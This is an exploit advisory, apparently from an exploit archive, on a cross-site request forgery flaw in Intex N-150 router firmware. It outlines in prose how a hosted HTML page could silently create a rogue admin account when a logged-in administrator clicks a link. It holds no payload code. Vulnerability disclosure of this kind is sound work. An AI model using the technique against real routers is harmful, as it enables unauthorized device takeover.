# Exploit Title:​​ Intex Router N-150 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-06-23
# Exploit Author: Navina Asrani
# Version: N-150
# CVE : N/A
# Category: Router Firmware

# 1. Description
# The firmware allows malicious request to be executed without verifying
# source of request. This leads to arbitrary execution with malicious request
# which will lead to the creation of a privileged user..

# 2. Proof of Concept
# Visit the application
# Go to any router setting modification page and change the values,
# create a request and observe the lack of CSRF tokens.
# Craft an html page with all the details for the built-in admin
# user creation and host it on a server
# Upon the link being clicked by a logged in admin user,
# immediately, the action will get executed
# Exploitation Technique: A attacker can create a rogue admin user to gain
# access to the application.
